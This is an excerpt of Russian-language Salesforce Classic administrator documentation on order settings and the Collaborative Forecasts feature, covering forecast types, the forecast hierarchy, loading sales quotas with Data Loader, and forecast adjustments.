Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для изменения параметров
заказов:
• «Настройка

приложения»

Чтобы разрешить пользователям добавление продуктов заказа, количества которых не
превышают нуля, включите отрицательные количества для организации.

Прежде чем включить данный параметр, рекомендуем включить поддержку заказов.

1. Внастройкевведите «Параметры заказов» вполе «Быстрый поиск», затемвыберите
«Параметры заказов».

2. Установите флажок «Включить заказы».

3. Установите флажок «Включить отрицательное количество».

4. Нажмите кнопку «Сохранить».

Припоследующемотключенииданногопараметра пользователи теряют возможность
добавления продуктов заказа с отрицательными количествами и активации заказов с
подобными продуктами. Тем не менее, пользователи могут просматривать и
редактировать текущие продукты заказа, содержащие отрицательные количества.

СМ. ТАКЖЕ:

Настройка параметров заказов

Общие сведения о продуктах заказа
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Настройка совместных прогнозов

Рекомендации по настройке функции «Совместные прогнозы»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition (без
прогнозов по долям
возможности или
настраиваемому полю),
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ ПОЛЬЗОВАТЕЛЯ

«Просмотр настройки и конфигурации»Для просмотра настройки прогнозов:

«Настройка приложения»Для редактирования параметров прогнозов:

«Управление внутреннимипользователями»

И

«Настройка приложения»

Для включения поддержки прогнозов:

«Настройка приложения»

И

«Управление планами продаж»

Для управления планами продаж:

«Управление планами продаж»

И

Для загрузки данных плана продаж в систему
Salesforce:

«Просмотр всех прогнозов»

При настройке функции «Совместные прогнозы» система позволяет выбирать один или несколько типов прогнозов,
включать пользователей прогнозов, определять иерархию прогнозов, а также указывать другие параметры прогнозов.

Важное замечание:

• Данныесведенияотносятся толькокфункции «Совместныепрогнозы» инеотносятсякпродукту «Настраиваемые
прогнозы».

• Корректная работа прогнозов гарантируется только при использовании новой темы пользовательского
интерфейса Salesforce Classic. Кроме того, функция управления территориями должна быть отключена. Можно
включитькорпоративнуюверсиюфункцииуправлениятерриториями, однакопрогнозныетаблицыосновываются
на иерархии ролей, а не на иерархии территорий.

• Прииспользованиифункции «Совместныепрогнозы»рекомендуемвключить «Организатор панели вкладок»,
позволяющий оптимизировать параметры просмотра.

Если вы переходите на продукт «Совместные прогнозы», см. раздел «Факты, свидетельствующие в пользу миграции от
настраиваемого прогнозирования к «совместным прогнозам» на странице 1640.Чтобы настроить поддержку прогнозов,
выполните указанные ниже действия.

• Включите как минимум один тип прогноза. Система позволяет включать не более 4 типов прогнозов.

• Выберите поля, отображающиеся в разделе возможностей, для каждого типа прогноза.

• Включите планы продаж, если вы хотите, чтобы эта функция была доступна.

• Включите поддержку поправок для организации и отдельных профилей пользователя.

• Определите необходимость использования индивидуальных сводок категорий прогнозов на странице 2182 или
включите поддержку накопительных сводок прогнозов.
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• Определитедиапазонпрогноза. Выможете выбратьпериодидиапазонпоумолчанию. Поддерживаютсястандартный
и настраиваемыйфинансовый год.

• Если организация использует специальную терминологию, настройте категории прогнозов.

• Если организация использует мультивалюту, выберите валюту прогноза. Прогноз может отображаться в валюте
компании или личной валюте ответственного за прогноз.

• Включите пользователей, которые будут работать с прогнозами.

• Чтобы определить способ сведения прогнозов в организации, а также пользователей, которым будет доступен их
просмотрикорректировка, настройтеиерархиюпрогнозов. Чтобысделать это, вменю «Настройка» введите «Иерархия
прогнозов» в поле «Быстрый поиск», затем выберите «Иерархия прогнозов». Иерархия прогнозов полностью
основывается на иерархии ролей, а также определяет пользователей, являющихся менеджерами прогнозов.

• Убедитесь, что пользователям предоставлен доступ ко вкладке «Прогнозы».

СМ. ТАКЖЕ:

Общие сведения о совместных прогнозах

Определение параметров прогнозов

Выключение функции «Совместные прогнозы»

Определение параметров прогнозов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition (без
прогнозов по долям
возможности или
настраиваемому полю),
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ ПОЛЬЗОВАТЕЛЯ

«Просмотр настройки и конфигурации»Для просмотра настройки прогнозов:

«Настройка приложения»Для редактирования параметров прогнозов:

«Управление внутреннимипользователями»

И

«Настройка приложения»

Для включения поддержки прогнозов:

«Настройка приложения»

И

«Управление планами продаж»

Для управления планами продаж:

«Управление планами продаж»

И

Для загрузки данных плана продаж в систему
Salesforce:

«Просмотр всех прогнозов»

Выберите типыпрогнозов, которыенужны, иподробные сведения, которые выводятсяна вкладкеПрогнозы, чтобываши
торговые представители могли видеть прогнозируемые значения оборота и количества для своего процесса продаж.

Важное замечание:

• Данныесведенияотносятся толькокфункции «Совместныепрогнозы» инеотносятсякпродукту «Настраиваемые
прогнозы».
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• Корректная работа прогнозов гарантируется только при использовании новой темы пользовательского
интерфейса Salesforce Classic. Кроме того, функция управления территориями должна быть отключена. Можно
включитькорпоративнуюверсиюфункцииуправлениятерриториями, однакопрогнозныетаблицыосновываются
на иерархии ролей, а не на иерархии территорий.

• Прииспользованиифункции «Совместныепрогнозы»рекомендуемвключить «Организатор панели вкладок»,
позволяющий оптимизировать параметры просмотра.

Если ваши торговые представители уже используют настраиваемые прогнозы, но хотят использовать совместные
прогнозы, свяжитесь с торговым представителем Salesforce.

Кроме того, компания Salesforce рекомендует настраивать функцию «Совместные прогнозы» только после просмотра
соответствующей документации. Последующее изменение ряда параметров может инициировать потерю некоторых
данных.

1. Из меню «Настройка» введите Forecasts Settings в поле Quick Find, затем выберите Forecasts Settings.
Если прогнозы отключены, установите флажок «Включить прогнозы».

2. Если у вас еще не включены никакие типы прогнозов, щелкнитеДобавить тип прогноза. Чтобы включить
дополнительный тип прогноза, щелкните «Добавить другой тип прогноза».

3. Выберитенужныйтиппрогноза. Доступныетипы («Возможности», «Доливозможности», «Долиналожения», «Группы
продуктов» или настраиваемое поле валюты возможности) определяются другими выбранными конфигурациями.

4. Выберите нужное измерение прогноза: «Доход» или «Количество». Чтобы использовать оба измерения, добавьте
отдельные типы прогнозов для каждого измерения.

Некоторые типы прогнозов поддерживают только одно измерение. Например, прогнозы по долям возможности
поддерживают только доход.

5. Выберите поля, отображающиеся в разделе возможностей страницы прогноза.

При необходимости выберите другой набор полей для каждого типа прогноза.

6. Нажмите кнопку «OK».

7. Вы можете включить поправки прогнозов для своей компании или для конкретных пользователей.*

8. При необходимости включите поддержку накопительных сводок прогнозов.

9. Выберите период прогноза («Ежемесячно» или «Ежеквартально») в разделе «Настроить стандартное отображение
прогнозов».* Поддерживается стандартный и настраиваемыйфинансовый год.

10. Чтобы выбрать начальный период и нужное количество периодов, воспользуйтесь раскрывающимися списками в
разделе «Настроить стандартное отображениепрогнозов».Этот параметр становится параметромпо умолчаниюдля
всехпользователейфункциисовместногопрогнозированиядотехпор, покаонинеизменятегонавкладкеПрогнозы.

11. При необходимости настройте категории прогнозов.

12. Если в организации включена поддержка нескольких валют, выберите нужную валюту.

13. При необходимости включите поддержку планов продаж для организации.

14. Нажмите кнопку «Сохранить».

Теперь включите пользователей, которые будут работать с прогнозами, и настройте иерархию прогнозов, чтобы
определить способ сведения прогнозов, а также пользователей, которым будет доступен их просмотр и корректировка.

* Страница «Параметры прогнозов» позволяет вносить необходимые изменения. Тем не менее, внесение изменений
может повлиять на данные.

• Отключение поправок инициирует удаление поправок.
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• Изменение периода прогноза инициирует удаление планов продаж и поправок.

• Если вы удалите тип прогноза, план продаж и данные поправок будут очищены для этого типа прогноза.

• Есливыизменитемерупрогнозированиядляопределенноготипапрогноза с выручкина количествоилис количества
на выручку, план продаж и данные поправок будут очищены для этого типа прогноза.

СМ. ТАКЖЕ:

Общие сведения о совместных прогнозах

Рекомендации по настройке функции «Совместные прогнозы»

Выключение функции «Совместные прогнозы»

Включение поддержки прогнозов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition (без
прогнозов по долям
возможности или
настраиваемому полю),
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения поддержки
прогнозов:
• «Управление

пользователями»

И

«Настройка
приложения»

Прим.: Данные сведения относятся только к функции «Совместные прогнозы» и
не относятся к продукту «Настраиваемые прогнозы».

1. Введите строку «Пользователи» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Пользователи».

2. Чтобы включить поддержку прогнозов, щелкните ссылку «Правка» напротив
нужного пользователя.

3. Установите флажок «Разрешить прогнозирование» в разделе «Общие сведения».

4. Нажмите кнопку «Сохранить».

Включенные пользователи доступны в иерархии прогнозов.

Кроме того, при настройке иерархии прогнозов могут быть добавлены новые
пользователи или удалены текущие пользователи.

СМ. ТАКЖЕ:

Общие сведения о совместных прогнозах

Разрешениепользователямпартнерскогопорталадобавлятьвозможностисовместных
прогнозов

Рекомендации по настройке функции «Совместные прогнозы»
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Разрешение пользователям партнерского портала добавлять возможности совместных
прогнозов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения поддержки
прогнозов:
• «Управление

внутренними
пользователями»

И

«Настройка
приложения»

Для назначения профилей
партнеров партнерскому
порталу:
• «Настройка

приложения»

Прим.: Данные сведения относятся только к функции «Совместные прогнозы» и
не относятся к продукту «Настраиваемые прогнозы».

Прежде чем начать работу, выполните перечисленные ниже действия.

• Включитеподдержкупартнерскихпорталов в организациии создайтепартнерский
портал.

• Создайте профиль партнера и назначьте его партнерскому порталу.

• Включите организацию в качестве партнера и предоставьте контакту данной
организации вход на партнерский портал.

Если организация работает с партнерами, добавьте значения из возможностей
пользователя-партнера в прогнозы пользователей. Чтобы добавить пользователей
партнерского портала в иерархию прогнозов, выполните указанные ниже действия.

1. В меню «Настройка» введите «Пользователи» в поле «Быстрый поиск», затем
выберите «Пользователи» и выберите тот контакт партнерского портала, который
вы создали.

2. Установите флажки «Активно» и «Разрешить прогнозирование».

3. Включите пользователя партнерского портала в иерархии прогнозов и назначьте
ему активного менеджера прогнозов.

Возможности, создаваемые пользователем партнерского портала, могут сводиться к
прогнозу ответственного за организацию. Обратите внимание, что ответственный за
организацию должен быть менеджером прогнозов в иерархии прогнозов для
возможностей, которые сводятся в прогнозе. Например, пользователь Иван Петров:

• несет ответственность за организацию-партнера Acme

• создает контакт Acme по имени Анна Кузнецова

• Анна является пользователем партнерского портала

• Анна подчиняется Ивану в иерархии прогнозов

ЕслиАннадобавляетвозможностинапортал, тоИванможетпросматриватьданныевозможностивсобственномпрогнозе;
Иван, являющийсяменеджеромпрогнозовАнны, можеткорректироватьстоимостипрогнозовнаосновеее возможностей
ипросматриватьпоказателиотслеживанияотносительноеепланапродаж. Обратите внимание, что вкладка «Совместные
прогнозы» и ее функции недоступны пользователям партнерского портала.

СМ. ТАКЖЕ:

Общие сведения о совместных прогнозах

Рекомендации по настройке функции «Совместные прогнозы»
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Настройка иерархии прогнозов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition (без
прогнозов по долям
возможности или
настраиваемому полю),
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения поддержки
прогнозов:
• «Управление

пользователями»

И

«Настройка
приложения»

Виерархиипрогнозов указанывсепользователипрогнозаиопределенспособ сведения
их прогнозов в вашей организации. Своевременно обновляйте иерархию прогнозов,
чтобы менеджеры прогнозов видели все стоимости прогнозов подчиненных.

Прим.: Данные сведения относятся только к функции «Совместные прогнозы» и
не относятся к продукту «Настраиваемые прогнозы».

Еслипользовательназначаетсяменеджеромпрогнозов, то всепрогнозыипоправки его
подчиненных отражаются в его собственных прогнозах. Рекомендуем назначать
менеджерами прогнозов только тех пользователей, которые расположены на верхнем
уровне иерархии прогнозов.

1. В меню «Настройка» введите «Иерархия прогнозов» в поле «Быстрый поиск», затем
выберите «Иерархия прогнозов». Чтобы просмотреть роли, доступные в
организации, щелкните ссылку «Развернуть все».

2. Чтобы добавить или удалить пользователей в списках «Доступные пользователи» и
«Включенные пользователи», щелкните «Включить пользователей» и
воспользуйтесь кнопками «Добавить» и «Удалить». Если вы ранее включили
пользователяспомощьюменю «Настройка» (ввели «Пользователи» вполе «Быстрый
поиск», затемвыбрали «Пользователи»иразрешилипрогнозированиена странице
пользователя), то имя уже отображается в списке «Включенные пользователи».

3. Чтобы выбрать менеджера прогнозов для каждой роли менеджера в иерархии,
щелкните «Редактироватьменеджера»напротивнужнойролиивыберитенужное
имя из раскрывающегося списка «Менеджер прогнозов».

4. Нажмите кнопку «Сохранить».

Прим.: Убедитесь, чтокаждомуменеджерупопродажам, имеющемуподчиненных,
назначена роль менеджера прогнозов в иерархии прогнозов. В этом случае
доступность прогнозов сводится к каждому уровню иерархии.

Если вы хотите, чтобы пользователи могли подстраивать прогнозы, включите поправки на странице 2181 рядом.

СМ. ТАКЖЕ:

Общие сведения о совместных прогнозах

Включение поправок прогнозов

Включение поддержки прогнозов
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Включение планов продаж в прогнозах

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Доступно в версиях:
Professional Edition с
полномочием «API
включен».

ПОЛНОМОЧИЯ ПОЛЬЗОВАТЕЛЯ

«Просмотр настройки и конфигурации»Для просмотра настройки прогнозов:

«Настройка приложения»Для редактирования параметров прогнозов:

«Управление внутреннимипользователями»

И

«Настройка приложения»

Для включения поддержки прогнозов:

«Настройка приложения»

И

«Управление планами продаж»

Для управления планами продаж:

«Управление планами продаж»

И

Для загрузки данных плана продаж в систему
Salesforce:

«Просмотр всех прогнозов»

Организации с API-доступом могут загружать планы продаж для пользователей совместных прогнозов и отображать их
вместесостоимостьюпрогнозовпользователей. Чтобыпростовключитьпланыпродаждлявашейорганизации, API-доступ
не нужен.

Прим.: Данные сведения относятся только к функции «Совместные прогнозы» и не относятся к продукту
«Настраиваемые прогнозы».

План продаж — это запланированный показатель, назначаемый пользователю ежемесячно или ежеквартально. План
продажменеджера включаетпоказатели, которыедолжныбытьдостигнутыменеджеромиегорабочей группой. Сведение
планов продаж выполняется пользователями и менеджерами вручную и позволяет использовать данные о доходе или
количестве. Если организация использует разные типы прогнозов, то каждый тип прогноза сохраняет собственные
отдельныепланыпродаж.Чтобы включить поддержку планов продаж для продукта «Совместныепрогнозы», выполните
указанные ниже действия.

1. В меню «Настройка» введите «Параметры прогнозов» в поле «Быстрый поиск», затем выберите «Параметры
прогнозов».

2. Установите флажок «Показать планы продаж» в разделе «Планы продаж».

3. Нажмите кнопку «Сохранить».

Прим.: Планы продаж доступны до тех пор, пока в организации включена поддержка продукта «Совместные
прогнозы». Кроме того, изменение источника данных или отключение прогнозов по доходу или количеству
инициирует удаление связанных планов продаж.

СМ. ТАКЖЕ:

Загрузка данных плана продаж для прогнозов

Общие сведения о совместных прогнозах

Рекомендации по настройке функции «Совместные прогнозы»
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Загрузка данных плана продаж для прогнозов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Доступно в версиях:
Professional Edition с
полномочием «API
включен».

ПОЛНОМОЧИЯ ПОЛЬЗОВАТЕЛЯ

«Просмотр настройки и конфигурации»Для просмотра настройки прогнозов:

«Настройка приложения»Для редактирования параметров прогнозов:

«Управление внутреннимипользователями»

И

«Настройка приложения»

Для включения поддержки прогнозов:

«Настройка приложения»

И

«Управление планами продаж»

Для управления планами продаж:

«Управление планами продаж»

И

Для загрузки данных плана продаж в систему
Salesforce:

«Просмотр всех прогнозов»

Данные плана продаж для прогнозов могут быть загружены посредством Data Loader или API.

Прим.: Данные сведения относятся только к функции «Совместные прогнозы» и не относятся к продукту
«Настраиваемые прогнозы».

Чтобы загрузить планы продаж для пользователей организации, воспользуйтесь приложением Data Loader или
интерфейсами Salesforce API. Приложение Data Loader поддерживаетудобныйинтерактивныйинтерфейсдлядобавления,
проверки и редактирования данных в организации. Интерфейсы API поддерживают дополнительные возможности, но
требуют создания кода. Оба метода могут использоваться только организациями, поддерживающими API-доступ.
Дополнительную информацию о приложении Data Loader см. в разделе «Data Loader» на странице 770.

Добавление планов продаж посредством приложения Data Loader

Прежде чем загрузить планы продаж, определите используемую версию приложения Data Loader. При использовании
приложения Data Loader 30.0 или более поздней версии укажите тип прогноза для каждого нужного плана продаж.

При использовании приложения Data Loader 29.0
или более ранней версии:

При использовании приложения Data Loader 30.0
или более поздней версии:

1. Запросите объект «Пользователь» для получения кодов
пользователей.

1. Запросите объект «Пользователь» для получения кодов
пользователей.

2. Запомните имена и коды нужных пользователей.2. Запомните имена и коды нужных пользователей.

3. Подготовьте CSV-файл, содержащий имена
пользователей, коды, планы продаж (стоимость или

3. Запроситеобъект «Типпрогнозирования» дляполучения
кодов типов прогнозов.

количество) и дату начала периода прогноза для каждого
плана продаж. Прииспользованиипрогнозов по доходу и
количеству укажите планы продаж для каждого прогноза
на отдельных строках CSV-файла.
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При использовании приложения Data Loader 29.0
или более ранней версии:

При использовании приложения Data Loader 30.0
или более поздней версии:

4. Загрузите CSV-файл планов продаж посредством
приложения Data Loader.

4. Запомните коды используемых типов прогнозов.

5. Подготовьте CSV-файл, содержащий имена
пользователей, коды пользователей, имена типов
прогнозирования, коды типов прогнозирования, планы
продаж (стоимость или количество) и дату начала периода
прогноза для каждого плана продаж.

6. Загрузите CSV-файл планов продаж посредством
приложения Data Loader.

1. Запросите объект «Пользователь» для получения кодов пользователей.

Чтобы извлечь коды пользователей, воспользуйтесь приложением Data Loader.

a. Из меню «Настройка» введите «Data Loader» в поле «Быстрый поиск», затем выберите «Data Loader».

b. Загрузите и установите приложение Data Loader.

c. Запустите приложение Data Loader.

d. Нажмите кнопку Export.

e. Введите имя пользователя и пароль, а затем нажмите кнопку Log in.

f. Нажмите кнопку Next.

g. Выберите объект «Пользователь» из списка.

h. Выберите имя файла и целевую папку для экспортированных данных.

i. Нажмите кнопку Next.

j. Выберите поля «Код» и «Имя».

k. Нажмите кнопки Finish и Yes.

l. Нажмите кнопку View Extraction.

m. Нажмите кнопку Open in external program.

n. Сохраните файл в CSV-формате. Прежде чем загрузить таблицу планов продаж, добавьте имена пользователей и
коды.

2. Прииспользованииприложения Data Loader 30.0 илиболеепозднейверсиизапроситеобъект «Типпрогнозирования»
для получения кодов типов прогнозов.

a. Если вы еще этого не сделали, в меню «Настройка» введите «Data Loader» в поле «Быстрый поиск», затем
выберите «Data Loader», затем загрузите и установите приложение «Data Loader».

b. Запустите приложение Data Loader.

c. Нажмите кнопку Export.

d. Введите имя пользователя и пароль, а затем нажмите кнопку Log in.

e. Нажмите кнопку Next.

f. Установите флажок Show all Salesforce objects.
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g. Выберите объект «Тип прогнозирования» из списка.

h. Выберите имя файла и целевую папку для экспортированных данных.

i. Нажмите кнопку Next.

j. Выберите поля «Код» и «Имя разработчика».

k. Нажмите кнопки Finish и Yes.

l. Нажмите кнопку View Extraction.

m. Нажмите кнопку Open in external program.

n. Сохраните файл в CSV-формате.

o. Запомните значения полей «Имя разработчика» и «Код» для каждого активного типа прогноза. Возможно,
организация не будет использовать все типы прогнозов, отображающиеся в результатах. Чтобы определить тип
прогноза, используемый конкретным полем «Имя разработчика», просмотрите список ниже.

• OpportunityRevenue: Возможности — Доход

• OpportunityQuantity: Возможности — Количество

• OpportunitySplitRevenue: Доли дохода возможности — Доход

• OpportunityOverlayRevenue  : Доли наложения возможности — Доход

• OpportunityLineItemRevenue: Группы продуктов — Доход

• OpportunityLineItemQuantity: Группы продуктов — Количество

• Имя настраиваемого типа доли возможности, включенного как тип прогноза. Настраиваемые типы долей
основываются на полях валюты, которые могут содержать только суммы доходов.

p. Добавьте столбцы для полей «Имя разработчика» и «Код» в таблицу планов продаж, а затем добавьте имя и код
типа прогноза для планов продаж в каждую строку. Имя не требуется для загрузки планов продаж, но позволяет
определять тип прогноза, используемый в каждой строке.

3. Подготовьте таблицу планов продаж для загрузки.

• При использовании приложения Data Loader 30.0 или более поздней версии создайте CSV-файл, содержащий
столбцы «Имя пользователя», «Код пользователя», «Имя типа прогноза», «Код типа прогноза», «Стоимость плана
продаж», «Количество по плану продаж», «Код валюты» и «Дата начала» (в формате [ГГГГ-MM-ДД]).

• При использовании приложения Data Loader 29.0 или более ранней версии создайте CSV-файл, содержащий
столбцы «Имя пользователя», «Код пользователя», «Стоимость плана продаж», «Количество по плану продаж»,
«Код валюты» и «Дата начала» (вформате [ГГГГ-MM-ДД]). Прииспользованиипрогнозовпо доходу и количеству
укажите планы продаж для каждого прогноза на отдельных строках CSV-файла.

Столбцы «Имя пользователя» и «Имя типа прогноза» являются необязательными, но позволяют быстрее понимать
содержимое CSV-файла.

Дата
начала

Код
валюты

Количество
по

плану
продаж

Стоимость
плана
продаж

Код типа прогноза
(для приложения
Data Loader 30.0
или более поздней

версии)

Имя типа
прогноза (для
приложения

Data Loader 30.0
или более

поздней версии)

Код
пользователя

Имя
пользователя

2012–03–01USD2500000DbD00000001eQBKAYOpportunityRevenue00599000000HofhАлексей
Коломин
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Дата
начала

Код
валюты

Количество
по

плану
продаж

Стоимость
плана
продаж

Код типа прогноза
(для приложения
Data Loader 30.0
или более поздней

версии)

Имя типа
прогноза (для
приложения

Data Loader 30.0
или более

поздней версии)

Код
пользователя

Имя
пользователя

2012–04–01USD2500000DbD00000001eQBKAYOpportunityRevenue00599000000HofhАлексей
Коломин

2012–05–01USD2500000DbD00000001eQBKAYOpportunityRevenue00599000000HofhАлексей
Коломин

2012–03–015000DbD00000001eQAKAYOpportunityQuantity00599000000HofhАлексей
Коломин

2012–04–015000DbD00000001eQAKAYOpportunityQuantity00599000000HofhАлексей
Коломин

2012–05–015000DbD00000001eQAKAYOpportunityQuantity00599000000HofhАлексей
Коломин

Если поле прогноза «Источник данных» содержит значение «Группы продуктов», рекомендуем добавить столбец
«Группа продуктов».

Дата
начала

Код
валюты

Количество
по

плану
продаж

Стоимость
плана
продаж

Группа
продуктов

Код типа
прогноза (для
приложения
Data Loader

30.0 или более
поздней версии)

Имя типа прогноза
(для приложения
Data Loader 30.0
или более поздней

версии)

Код
пользователя

Имя
пользователя

2012–03–01USD250000Аппаратное
обеспечение

0DbD00000001eQ9KAIOpportunityLineItemRevenue00599000000HofhАлексей
Коломин

2012–03–01USD150000Программное
обеспечение

0DbD00000001eQ9KAIOpportunityLineItemRevenue00599000000HofhАлексей
Коломин

2012–03–01USD50000Услуги0DbD00000001eQ9KAIOpportunityLineItemRevenue00599000000HofhАлексей
Коломин

2012–03–01500Аппаратное
обеспечение

0DbD00000001eQ8KAIOpportunityLineItemQuantity00599000000HofhАлексей
Коломин

2012–03–01300Программное
обеспечение

0DbD00000001eQ8KAIOpportunityLineItemQuantity00599000000HofhАлексей
Коломин

2012–03–01100Услуги0DbD00000001eQ8KAIOpportunityLineItemQuantity00599000000HofhАлексей
Коломин

4. Чтобы загрузить данные плана продаж в систему Salesforce, воспользуйтесь приложением Data Loader.
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При необходимости запустите приложение Data Loader.a.

b. Нажмите кнопку Insert.

c. Введите имя пользователя и пароль.

d. Нажмите кнопку Next.

e. Установите флажок Show All Salesforce Objects.

f. Выберите объект «План продаж для прогнозирования» из списка.

g. Нажмите кнопку Browse и выберите нужный CSV-файл.

h. Нажмите кнопку Next.

i. Нажмите кнопку OK в открывшемся диалоговом окне выбора данных.

j. Щелкните Create or Edit a Map.

k. Соотнесите данные столбцы с полями объекта ForecastingQuota (см. таблицу ниже).

Поля объекта ForecastingQuotaЗаголовки столбцов CSV-файла

QuotaOwnerIDКод пользователя

QuotaAmountСтоимость плана продаж

QuotaQuantityКоличество по плану продаж

CurrencyIsoCodeКод валюты

StartDateДата начала

ProductFamilyГруппа продуктов (только при использовании
источника данных прогноза «Группы продуктов»)

ForecastingTypeIDКод типа прогноза (только для приложения Data Loader
30.0 или более поздней версии)

l. Нажмите кнопку OK.

m. Нажмите кнопку Next.

n. НажмитекнопкуBrowseивыберите каталог, которыйдолжениспользоватьсядля сохранениясистемногожурнала,
содержащего сообщения об успешной или неудачной загрузке.

o. Нажмите кнопку Finish.

p. Чтобы продолжить загрузку, нажмите кнопку Yes.

q. Нажмите кнопку OK.

Рекомендуемзагружатьданныепланапродажвличнойвалютеответственногозасоответствующийпланпродаж. Обратите
внимание, что отсутствие флажка «Показать планы продаж» не влияет на возможность загрузки данных посредством
API. Если часовой пояс Data Loader опережает часовые пояса ответственных за планы продаж, то один из месяцев может
отсутствовать. Чтобы избежать данной проблемы, рекомендуем указывать дату, следующую или соответствующую
третьему дню каждого месяца, при добавлении планов продаж.

Загрузка планов продаж посредством интерфейса API
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Версия API, необходимая для загрузки данных плана продаж посредством интерфейса API, определяется типом
обрабатываемых данных. Если организация использует разные типы прогнозов, то каждый тип прогноза сохраняет
собственные отдельные планы продаж.

Какой API должен использоваться?Что импортируется?

25.0 или более поздней версииПланы продаж по доходу для прогнозов на основе
возможностей

28.0 или более поздней версииПланы продаж по количеству для прогнозов на основе
возможностей

29.0 или более поздней версииПланы продаж по доходу для прогнозов на основе долей
возможности

29.0 или более поздней версииПланы продаж по доходу или количеству для прогнозов
на основе групп продуктов

30.0 или более поздней версииПланы продаж (при использовании нескольких типов
прогнозов)

СМ. ТАКЖЕ:

Включение планов продаж в прогнозах
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Включение поправок прогнозов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition (без
прогнозов по долям
возможности или
настраиваемому полю),
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения поддержки
прогнозов:
• «Управление

пользователями»

И

«Настройка
приложения»

Администраторымогутразрешатьменеджерамкорректировкупрогнозовподчиненных,
всем пользователям прогнозов корректировку собственных прогнозов или то и другое.

Прим.: Данные сведения относятся только к функции «Совместные прогнозы» и
не относятся к продукту «Настраиваемые прогнозы».

Преждечемвключитьподдержкупоправок, убедитесь, чтонастроенаиерархияпрогнозов.

1. Вменю «Настройка» введите «Параметры прогнозов» вполе «Быстрый поиск», затем
выберите «Параметры прогнозов».

2. Чтобы разрешить менеджерам прогнозов корректировку стоимостей прогнозов их
подчиненных, установите флажок «Включить поправки менеджера» в разделе
«Включить поправки прогнозов».

3. Чтобы разрешить всем пользователям прогнозов корректировку стоимостей
собственныхпрогнозов, установитефлажок «Включить поправки ответственного»
в разделе «Включить поправки прогнозов».

Прим.: Если организация использует прогнозы по группам продуктов, то
пользователи не могут корректировать стоимости собственных прогнозов по
группам продуктов.

4. Нажмите кнопку «Сохранить».

5. Вменю «Настройка» введитестроку «Профили» вполе «Быстрый поиск» ивыберите
пункт «Профили».

6. Выберите нужный профиль.

7. В случае использования расширенного пользовательского интерфейса профиля,
щелкните «Полномочия приложения» и нажмите кнопку «Правка».

8. Установите флажок «Переопределение прогнозов» и нажмите кнопку «Сохранить».

Если в вашей организации используются разные типы прогнозов, то каждый тип прогноза сохраняет собственные
отдельные поправки.

СМ. ТАКЖЕ:

Общие сведения о совместных прогнозах

Общие сведения о поправках прогнозов

Рекомендации по настройке функции «Совместные прогнозы»

Определение диапазона дат для прогноза организации
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Отключение поправок прогнозов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition (без
прогнозов по долям
возможности или
настраиваемому полю),
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения поддержки
прогнозов:
• «Управление

пользователями»

И

«Настройка
приложения»

Чтобы запретить менеджерам прогнозов корректировку стоимостей прогнозов
подчиненных или ответственным за прогнозы корректировку собственных прогнозов,
выключите поправки прогнозов.

Прим.: Данные сведения относятся только к функции «Совместные прогнозы» и
не относятся к продукту «Настраиваемые прогнозы».

Внимание: Отключение поправок прогнозов инициирует удаление текущих
поправок для всех типов прогнозов. Прежде чем отключить поддержку поправок,
рекомендуемпросмотретьраздел «Обудалениипоправок». Отключениенекоторых
функций может инициировать удаление планов продаж и поправок. Прежде чем
выполнить отключение, рекомендуем экспортировать данные. По завершении
изменений данные могут быть импортированы обратно в систему Salesforce.

1. Вменю «Настройка» введите «Параметры прогнозов» вполе «Быстрый поиск», затем
выберите «Параметры прогнозов».

2. Чтобы запретить менеджерам прогнозов корректировку стоимостей прогнозов их
подчиненных, снимите флажок «Включить поправки менеджера» в разделе
«Включить поправки прогнозов».

3. Чтобы запретить всем пользователям прогнозов корректировку стоимостей
собственных прогнозов, снимите флажок «Включить поправки ответственного»
в разделе «Включить поправки прогнозов».

4. Нажмитекнопку«Сохранить». Полномочияпользователейнетребуютобновления,
так как поправки становятся недоступными для всей организации.

Пример: Например, менеджеры прогнозов корректируют стоимости прогнозов
для своих прямых подчиненных. Если организация больше не поддерживает
поправки, то при последующем просмотре соответствующих сводок менеджеры
теряют доступ к данным поправкам.

Общие сведения о накопительных сводках прогнозов
Администратор может выбрать один из двух методов сведения возможностей в прогнозы для групп сбыта.

• Индивидуальные сводки категорий прогнозов, объединяющие возможности из каждой индивидуальной категории
прогноза в отдельные стоимости прогнозов для каждой категории.

• Накопительные сводки прогнозов, объединяющие возможности из нескольких категорий прогнозов в сводные
стоимости прогнозов.

Поумолчаниюорганизациииспользуютиндивидуальныесводкикатегорийпрогнозов. Привключениинакопительных
сводок прогнозов в меню «Настройка» сведение возможностей в стоимости прогнозов выполняется другим способом.
Также отличаются имена столбцов на вкладке «Прогнозы». См. различия ниже.

